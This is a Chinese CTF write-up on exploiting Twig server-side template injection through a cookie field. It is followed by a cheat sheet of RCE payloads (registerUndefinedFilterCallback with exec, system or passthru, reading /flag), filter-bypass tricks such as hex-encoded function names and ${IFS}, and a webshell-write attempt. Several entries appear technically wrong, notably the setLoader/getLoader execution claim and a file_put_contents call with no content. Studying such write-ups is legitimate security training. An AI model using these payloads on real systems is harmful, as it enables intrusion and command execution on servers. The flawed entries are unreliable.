题目描述

题目地址:http://ctf2.dasctf.com

打开页面是一个名为 “Cookie_is_so_subtle!” 的站点,有 FlagHint 两个页面。

Hint 页面提示:Why not take a closer look at cookies?(提示Cookie传参)
flag页面有一个表单可以提交用户名。


SSTI 漏洞确认

第一步:探测模板注入

访问 flag.php,发现有一个表单可以提交用户名。

提交 {{2*2}} 后,页面返回 Hello 4,确认存在 SSTI 注入。

第二步:判断模板引擎

抓包发现,服务端返回的响应头中包含 X-PHP-Engine: PHP/7.3.13,确认使用 PHP 7.3.13 版本,所以是以php为基础的模板引擎(Twig/Smarty)
通过测试:

  • {$smarty.version} → 原样输出 ❌ (非 Smarty)
  • {{random()}} → 随机数 ✅

确认模板引擎为 Twig


漏洞利用

关键发现:Cookie 注入点

通过抓包发现,用户提交的用户名被存储在 Cookie 的 user 字段中:
当携带该 Cookie 再次访问 flag.php 时,服务端会将 Cookie 值传入 Twig 模板渲染。

错误做法

直接通过表单提交 Twig RCE payload 会失败,因为 _self 对象在表单处理流程中不可用,抛出异常并被服务端捕获(显示 “What do you want to do?!”)。

正确利用流程

在bp抓的包中的cookie中,将user字段替换为Twig RCE payload

成功拿到 Flag:

Twig SSTI 原理解析

registerUndefinedFilterCallback 原理

Twig 的 registerUndefinedFilterCallback 方法允许注册一个回调函数,当模板中使用未定义的过滤器时,Twig 会调用这个回调。通过将其设置为 exec,然后调用一个不存在的过滤器(实际是命令),即可实现任意命令执行。

1
2
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("cat /flag")}}

执行流程:

  1. _self — 当前模板实例
  2. _self.env — Twig Environment 对象
  3. registerUndefinedFilterCallback("exec") — 注册 exec 函数作为未定义过滤器的回调
  4. getFilter("cat /flag") — 获取名为 cat /flag 的过滤器,触发回调执行 exec("cat /flag")

常见绕过方式

1. setLoader + getLoader 绕过

除了 registerUndefinedFilterCallback,还可以利用 setLoader 方法替换模板加载器为 system,然后通过 getLoader 触发命令执行:

1
2
{{_self.env.setLoader("system")}}
{{_self.env.getLoader("ls")}}

setLoader 原本用于设置模板加载器,这里被替换为了命令执行函数。getLoader 调用时会执行传入的命令。

2. 关键字过滤绕过

字符串拼接绕过 _self 过滤

1
2
3
{% set a = "s"~"elf" %}
{{attribute(_context, a).env.registerUndefinedFilterCallback("exec")}}
{{attribute(_context, a).env.getFilter("id")}}

双引号/单引号互换

1
2
{{_self.env.registerUndefinedFilterCallback('system')}}
{{_self.env.getFilter('id')}}

命令中的空格绕过

1
2
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("cat${IFS}/flag")}}

函数名编码绕过

1
2
{{_self.env.registerUndefinedFilterCallback("\x65\x78\x65\x63")}}
{{_self.env.getFilter("cat /flag")}}

3. 替换 RCE 函数名

execsystem 被禁用时,尝试其他命令执行函数:

1
2
{{_self.env.registerUndefinedFilterCallback("passthru")}}
{{_self.env.getFilter("cat /flag")}}

其他可用函数:shell_execpopenproc_openpcntl_execsystemexecpassthru

4. 文件读取代替命令执行

如果命令执行函数全部被禁用,可以使用文件读取函数:

1
2
{{_self.env.registerUndefinedFilterCallback("file_get_contents")}}
{{_self.env.getFilter("/flag")}}

或者直接通过 map 过滤器:

1
{{["/flag"]|map("file_get_contents")|join(",")}}

5. 写 Webshell

1
2
{{_self.env.registerUndefinedFilterCallback("file_put_contents")}}
{{_self.env.getFilter("/var/www/html/shell.php")}}